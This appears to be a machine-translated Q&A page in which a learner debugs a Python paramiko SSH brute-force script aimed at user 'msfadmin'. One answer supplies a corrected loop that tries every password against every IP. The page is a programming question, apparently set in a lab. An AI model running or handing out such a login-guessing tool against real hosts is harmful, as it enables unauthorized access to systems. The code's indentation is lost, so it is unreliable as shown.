我一直在编写一个小型的SSH暴力破解者,以了解paramiko模块。但是,在浏览文本文件以查看每个密码时,它只测试文本文件中的最后一个密码。我使用正确的循环吗?那么在这种情况下如何使用for循环?
import paramiko
UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
pwd = open(pass_file, "r")
ips = open(ip_file, "r")
def attempt():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
while Found != 5:
global UserName
global port
try:
ssh.connect(ip, port, username=UserName, password=Passwords)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, Passwords)
else:
print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
答案 0 :(得分:1)
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
您将获取每一行,并使用当前读取的值替换ip
和passwords
中的上一个值。相反,如果ips和密码的数量相对较小,则可以执行
count = 0
for ip in ips:
for pwd in open(pass_file, "r"):
try:
ssh.connect(ip, port, username=UserName, password=pwd)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, pwd)
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
count += 1
if count == 5:
return
答案 1 :(得分:0)
你的两个for循环只是遍历每个对象并每次更新ip
和Password
变量,这样当它们完成变量时,请参考循环中的最后一个值。
然而,你根本不清楚你要对这些变量做什么,所以我不能告诉你如何修复它。您是否希望每次迭代运行一次脚本的其余部分?或者你想创建一个包含所有元素的列表,然后迭代它?